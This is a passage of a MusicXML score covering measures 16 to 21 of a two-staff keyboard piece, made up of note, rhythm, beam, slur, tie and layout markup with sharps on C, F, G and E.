<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="155">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-60.5">down</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="37">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="56">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="41">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="89">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="45">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="122">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="155">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="89">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="155">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>5</voice>
<type>quarter</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="16" width="432">
<print new-system="yes">
<staff-layout number="1">
<staff-distance>100</staff-distance>
</staff-layout>
</print>
<note default-x="109">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="270">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="310">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="350">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="390">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<forward>
<duration>4</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="350">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-70">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="390">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>2</voice>
<type>16th</type>
<stem default-y="-77">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="109">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="43">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-35" number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="149">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="46">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="189">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="229">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<forward>
<duration>4</duration>
<voice>3</voice>
<staff>2</staff>
</forward>
<note default-x="350">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="18">up</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="109">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="270">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="310">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="350">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="390">
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
</measure>
<!--=======================================================-->
<measure number="17" width="257">
<note default-x="19">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<staff>1</staff>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="135">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="164">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="193">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="223">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="19">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>2</voice>
<type>eighth</type>
<dot/>
<stem default-y="-75">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="106">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-80">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
<note default-x="135">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-65.5">down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="19">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="29">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="48">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="31">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="77">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="33">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="106">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="19">
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>2</staff>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>8</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="77">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<note default-x="135">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="193">
<rest/>
<duration>2</duration>
<voice>5</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="223">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>5</voice>
<type>16th</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="18" width="267">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="137">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="169">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="200">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="232">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<forward>
<duration>4</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="200">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-70">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="232">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>2</voice>
<type>16th</type>
<stem default-y="-77">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="42">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="42">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="46">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="73">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="105">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<forward>
<duration>4</duration>
<voice>3</voice>
<staff>2</staff>
</forward>
<note default-x="200">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="-50.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>4</voice>
<staff>2</staff>
</forward>
<note default-x="137">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="169">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="200">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="232">
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="19" width="244">
<note default-x="15">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<staff>1</staff>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="128">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="157">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur default-x="14" default-y="24" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="185">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="213">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur default-x="13" default-y="28" number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="15">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>2</voice>
<type>eighth</type>
<dot/>
<stem default-y="-75">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="100">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-80">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
<note default-x="128">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-65.5">down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="15">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="29">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="43">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="31">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="72">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="33">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="100">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="15">
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<stem default-y="-62">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
</note>
<note default-x="72">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>4</voice>
<type>eighth</type>
<stem default-y="-50">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="128">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>4</voice>
<type>eighth</type>
<dot/>
<stem default-y="-32">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="213">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-32">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
</measure>
<!--=======================================================-->
<measure number="20" width="468">
<print new-system="yes">
<staff-layout number="2">
<staff-distance>90</staff-distance>
</staff-layout>
</print>
<note default-x="111">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="199">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<direction placement="below">
<direction-type>
<wedge default-y="-56" relative-x="15" spread="0" type="crescendo"/>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="244">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="16">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<note default-x="289">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="16">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="377">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="422">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="111">
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="48">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-16" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="156">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="51">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="199">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="55">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="244">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="289">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="49">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-25" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="333">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="53">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="378">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="56">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="422">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="111">
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<accidental>natural</accidental>
<stem default-y="-40.5">down</stem>
<staff>2</staff>
</note>
<note default-x="289">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-45.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="21" width="342">
<note default-x="17">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="98">
<rest>
<display-step>D</display-step>
<display-octave>5</display-octave>
</rest>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="179">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="219">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="260">
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="300">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur bezier-x="-66" bezier-y="28" default-x="7" default-y="11" number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="17">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="47" bezier-y="68" default-x="15" default-y="46" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="58">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="98">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="55">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="139">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="17">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
</note>
<note default-x="260">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
